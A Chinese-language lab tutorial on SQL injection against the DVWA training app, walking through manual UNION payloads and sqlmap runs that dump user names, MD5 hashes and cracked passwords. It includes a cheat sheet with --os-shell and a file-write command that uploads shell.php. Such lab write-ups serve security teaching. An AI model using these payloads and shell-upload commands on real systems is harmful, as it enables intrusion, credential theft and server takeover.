文章目录
-
- [1. 环境准备](#1. 环境准备)
-
- [1.1 获取 Session Cookie](#1.1 获取 Session Cookie)
- [2. 手工 SQL 注入测试](#2. 手工 SQL 注入测试)
-
- [2.1 判断注入点](#2.1 判断注入点)
- [2.2 确定字段数](#2.2 确定字段数)
- [2.3 联合查询测试](#2.3 联合查询测试)
- [2.4 获取数据库名](#2.4 获取数据库名)
- [2.5 获取表名(解决字符集冲突)](#2.5 获取表名(解决字符集冲突))
-
- 问题:字符集冲突错误
- [解决方案:使用 HEX 编码](#解决方案:使用 HEX 编码)
- [2.6 获取列名](#2.6 获取列名)
- [2.7 获取用户数据](#2.7 获取用户数据)
- [3. Sqlmap 自动化注入](#3. Sqlmap 自动化注入)
-
- [3.1 Sqlmap 简介](#3.1 Sqlmap 简介)
- [3.2 安装与配置](#3.2 安装与配置)
- [3.3 基础命令详解](#3.3 基础命令详解)
- [3.4 实战步骤](#3.4 实战步骤)
-
- [步骤 1:枚举所有数据库](#步骤 1:枚举所有数据库)
- [步骤 2:获取 dvwa 数据库的表](#步骤 2:获取 dvwa 数据库的表)
- [步骤 3:获取 users 表的列名](#步骤 3:获取 users 表的列名)
- [步骤 4:获取所有用户数据](#步骤 4:获取所有用户数据)
- [3.5 注入技术对比](#3.5 注入技术对比)
- [3.6 常用命令速查](#3.6 常用命令速查)
- [4. 数据获取与分析](#4. 数据获取与分析)
-
- [4.1 获取到的完整数据](#4.1 获取到的完整数据)
- [4.2 密码安全分析](#4.2 密码安全分析)
- [4.3 数据导出格式](#4.3 数据导出格式)
1. 环境准备
1.1 获取 Session Cookie
- 使用浏览器访问 DVWA 并登录
- 按
F12打开开发者工具 - 点击 Network(网络) 标签
- 刷新页面,点击任意请求
- 在 Request Headers 中找到
Cookie:行 - 复制完整的 Cookie 值
示例 Cookie:
PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low
2. 手工 SQL 注入测试
2.1 判断注入点
测试步骤:
在 SQL Injection 页面的输入框中输入:
1'
预期结果: 页面报错,说明存在 SQL 注入漏洞。
原因分析:
sql
-- 原始 SQL
SELECT first_name, last_name FROM users WHERE user_id = '1'
-- 注入后 SQL
SELECT first_name, last_name FROM users WHERE user_id = '1''
-- 多余的单引号导致语法错误
2.2 确定字段数
测试语句:
sql
1' order by 3#
结果: 页面报错
测试语句:
sql
1' order by 2#
结果: 页面正常
结论: 查询语句包含 2 个字段
原理说明:
sql
-- order by 3 报错,说明只有 2 列
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#
-- 第 3 列不存在,导致错误
2.3 联合查询测试
测试语句:
sql
-1' union select 1,2#
结果: 页面显示 1 和 2
说明: 该注入点支持 UNION 查询注入
原理解析:
sql
SELECT first_name, last_name FROM users WHERE user_id = '-1'
UNION
SELECT 1,2#
为什么要用 -1?
- 使用
-1确保第一条查询不返回结果 - 这样 UNION 查询的结果才会显示在页面上
2.4 获取数据库名
注入语句:
sql
-1' union select 1,database()#
执行结果:
ID: -1' union select 1,database()#
First name: 1
Surname: dvwa
结论: 当前数据库名为 dvwa
2.5 获取表名(解决字符集冲突)
问题:字符集冲突错误
尝试语句:
sql
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
错误信息:
Illegal mix of collations for operation 'UNION'
错误原因: 数据库表字符集与查询结果字符集不匹配
解决方案:使用 HEX 编码
注入语句:
sql
-1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa'#
执行结果:
Surname:7573657273
十六进制解码:
7573657273 → users
结论: DVWA 数据库包含这个表:
- users(用户表)
2.6 获取列名
注入语句:
sql
-1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users'#
执行结果(十六进制):
757365725f69642c66697273745f6e616d652c6c6173745f6e616d652c757365722c70617373776f72642c6176617461722c6c6173745f6c6f67696e2c6661696c65645f6c6f67696e
解码结果:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
2.7 获取用户数据
注入语句:
sql
-1' union select 1,hex(group_concat(user,0x3a,password)) from users#
说明: 0x3a 是冒号 : 的十六进制,用于分隔用户名和密码
执行结果(十六进制):
61646d696e3a32313233326632393761353761356137343338393461306534613830316663332c...
解码结果:
admin:21232f297a57a5a743894a0e4a801fc3,
gordonb:e99a18c428cb38d5f260853678922e03,
1337:8d3533d75ae2c3966d7e0d4fcc69216b,
pablo:0d107d09f5bbe40cade3de5c71e9e9b7,
smithy:5f4dcc3b5aa765d61d8327deb882cf99
密码破解(MD5):
| 用户名 | MD5 哈希 | 明文密码 |
|---|---|---|
| admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
3. Sqlmap 自动化注入
3.1 Sqlmap 简介
Sqlmap 是一款开源的 SQL 注入工具,可以:
- 自动检测和利用 SQL 注入漏洞
- 支持多种数据库(MySQL、Oracle、PostgreSQL 等)
- 支持多种注入技术(布尔盲注、错误注入、时间盲注、UNION 查询)
- 直接获取数据库数据
3.2 安装与配置
Windows 环境:
-
下载 sqlmap:
-
添加到系统 PATH(可选):
powershell
[Environment]::SetEnvironmentVariable("Path", $env:Path + ";D:\Programs\Tools\sqlmap", [EnvironmentVariableTarget]::User)
- 使用方法:
powershell
# 方式 1:直接运行(需要配置 PATH)
sqlmap.py [选项]
# 方式 2:指定完整路径
python D:\Programs\Tools\sqlmap\sqlmap.py [选项]
# 方式 3:在 sqlmap 目录下运行
cd D:\Programs\Tools\sqlmap
python sqlmap.py [选项]
3.3 基础命令详解
命令结构
powershell
sqlmap -u "目标 URL" --cookie="会话 Cookie" --功能参数
参数说明
| 参数 | 作用 | 示例 |
|---|---|---|
-u |
指定目标 URL | -u "http://..." |
--cookie |
设置 Cookie | --cookie="PHPSESSID=xxx; security=low" |
--dbs |
枚举所有数据库 | --dbs |
-D |
指定数据库 | -D dvwa |
--tables |
列出表 | --tables |
-T |
指定表 | -T users |
--columns |
列出列 | --columns |
--dump |
导出数据 | --dump |
--batch |
自动确认 | --batch |
--technique |
指定注入技术 | --technique=U |
3.4 实战步骤
步骤 1:枚举所有数据库
命令:
powershell
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" --dbs --batch
输出结果:
___
__H__
___ ___[)]_____ ___ ___ {1.10.6.12#dev}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[*] starting @ 17:46:06 /2026-06-03/
[17:46:08] [INFO] testing connection to the target URL
[17:46:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:46:08] [INFO] testing if the target URL content is stable
[17:46:09] [INFO] target URL content is stable
[17:46:09] [INFO] testing if GET parameter 'id' is dynamic
[17:46:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[17:48:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:48:13] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable
[17:48:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:48:18] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[17:48:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:48:29] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[17:48:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:48:29] [INFO] target URL appears to have 2 columns in query
[17:48:29] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
sqlmap identified the following injection point(s) with a total of 146 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 8669=8669#&Submit=Submit
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))-- YXzB&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)-- BpBS&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit
---
[17:51:09] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.1
[17:51:09] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema
[*] ending @ 17:51:09 /2026-06-03/
关键信息:
- 发现 4 种注入方式
- 发现 2 个数据库:dvwa、information_schema
- 后端 DBMS:MySQL >= 5.1
- Web 服务器:Windows + PHP 7.3.4 + Apache 2.4.39
步骤 2:获取 dvwa 数据库的表
命令:
powershell
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" -D dvwa --tables --batch
输出结果:
Database: dvwa
[1 table]
+-------+
| users |
+-------+
说明: 成功获取 dvwa 数据库中的表:users
步骤 3:获取 users 表的列名
命令:
powershell
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" -D dvwa -T users --columns --batch
输出结果:
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
字段说明:
| 字段名 | 类型 | 说明 |
|---|---|---|
| user | varchar(15) | 用户名 |
| password | varchar(32) | 密码(MD5 哈希) |
| user_id | int(6) | 用户 ID |
| first_name | varchar(15) | 名 |
| last_name | varchar(15) | 姓 |
| avatar | varchar(70) | 头像路径 |
| last_login | timestamp | 最后登录时间 |
| failed_login | int(3) | 登录失败次数 |
步骤 4:获取所有用户数据
命令:
powershell
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low" -D dvwa -T users --dump --batch
输出结果:
Database: dvwa
Table: users
[5 entries]
+---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+
| user_id | user | avatar | password | last_name | first_name | last_login | failed_login |
+---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+
| 1 | admin | /DVWA/hackable/users/admin.jpg | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2026-05-12 23:26:37 | 3 |
| 2 | gordonb | /DVWA/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2026-04-23 08:52:29 | 0 |
| 3 | 1337 | /DVWA/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2026-04-23 08:52:29 | 0 |
| 4 | pablo | /DVWA/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2026-04-23 08:52:29 | 0 |
| 5 | smithy | /DVWA/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2026-04-23 08:52:29 | 0 |
+---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+
[17:55:28] [INFO] table 'dvwa.users' dumped to CSV file 'C:\Users\Administrator\AppData\Local\sqlmap\output\192.168.0.107\dump\dvwa\users.csv'
3.5 注入技术对比
| 注入类型 | 原理 | 速度 | 推荐使用场景 |
|---|---|---|---|
| UNION 查询 | 使用 UNION 关键字合并查询结果 | ⭐⭐⭐⭐⭐ | 首选,可直接获取数据 |
| 错误注入 | 利用数据库错误信息泄露数据 | ⭐⭐⭐⭐ | 备选方案,速度较快 |
| 布尔盲注 | 根据页面返回差异判断 | ⭐⭐ | 其他方法失败时使用 |
| 时间盲注 | 根据响应时间判断 | ⭐ | 最后的选择,速度慢 |
Sqlmap 检测到的注入 Payload:
1. 布尔盲注:
sql
id=1' OR NOT 8669=8669#&Submit=Submit
2. 错误注入:
sql
id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))-- YXzB&Submit=Submit
3. 时间盲注:
sql
id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)-- BpBS&Submit=Submit
4. UNION 查询:
sql
id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit
3.6 常用命令速查
获取数据库信息
powershell
# 获取所有数据库
sqlmap -u "URL" --cookie="Cookie" --dbs --batch
# 获取当前数据库
sqlmap -u "URL" --cookie="Cookie" --current-db --batch
# 获取数据库用户
sqlmap -u "URL" --cookie="Cookie" --current-user --batch
# 获取数据库版本
sqlmap -u "URL" --cookie="Cookie" --dbms-version --batch
获取表和数据
powershell
# 获取指定数据库的所有表
sqlmap -u "URL" --cookie="Cookie" -D dvwa --tables --batch
# 获取指定表的列
sqlmap -u "URL" --cookie="Cookie" -D dvwa -T users --columns --batch
# 获取指定表的数据
sqlmap -u "URL" --cookie="Cookie" -D dvwa -T users --dump --batch
# 获取所有数据库的所有数据
sqlmap -u "URL" --cookie="Cookie" --dump-all --batch
高级功能
powershell
# 只使用 UNION 注入技术(最快)
sqlmap -u "URL" --cookie="Cookie" --technique=U --batch
# 获取数据库权限
sqlmap -u "URL" --cookie="Cookie" --privileges --batch
# 获取操作系统 Shell(高危!)
sqlmap -u "URL" --cookie="Cookie" --os-shell --batch
# 读取服务器文件
sqlmap -u "URL" --cookie="Cookie" --file-read="C:/Windows/win.ini" --batch
# 写入文件到服务器
sqlmap -u "URL" --cookie="Cookie" --file-write="./shell.php" --file-dest="./DVWA/shell.php" --batch
4. 数据获取与分析
4.1 获取到的完整数据
users 表数据:
| user_id | user | first_name | last_name | password (MD5) | password (明文) |
|---|---|---|---|---|---|
| 1 | admin | admin | admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| 2 | gordonb | Gordon | Brown | e99a18c428cb38d5f260853678922e03 | abc123 |
| 3 | 1337 | Hack | Me | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| 4 | pablo | Pablo | Picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| 5 | smithy | Bob | Smith | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
4.2 密码安全分析
问题:
- 所有密码都使用 MD5 哈希(不安全)
- 密码强度极弱(如 admin、abc123、password)
- 没有使用盐值(salt)
MD5 哈希特点:
- 快速计算
- 容易受到彩虹表攻击
- 不适合存储密码
推荐方案:
- 使用 bcrypt 、Argon2 或 PBKDF2
- 添加随机盐值
- 增加计算成本因子
4.3 数据导出格式
Sqlmap 支持多种导出格式:
CSV 文件:
user_id,user,avatar,password,last_name,first_name,last_login,failed_login
1,admin,/DVWA/hackable/users/admin.jpg,21232f297a57a5a743894a0e4a801fc3,admin,admin,2026-05-12 23:26:37,3
SQL 文件:
sql
INSERT INTO users VALUES (1,'admin','admin','21232f297a57a5a743894a0e4a801fc3',...);
⚠️ 法律免责声明:
本文所有技术内容仅用于学习和研究目的。未经授权对他人系统进行测试是违法行为。请在使用本文所述技术时,确保您已获得合法授权。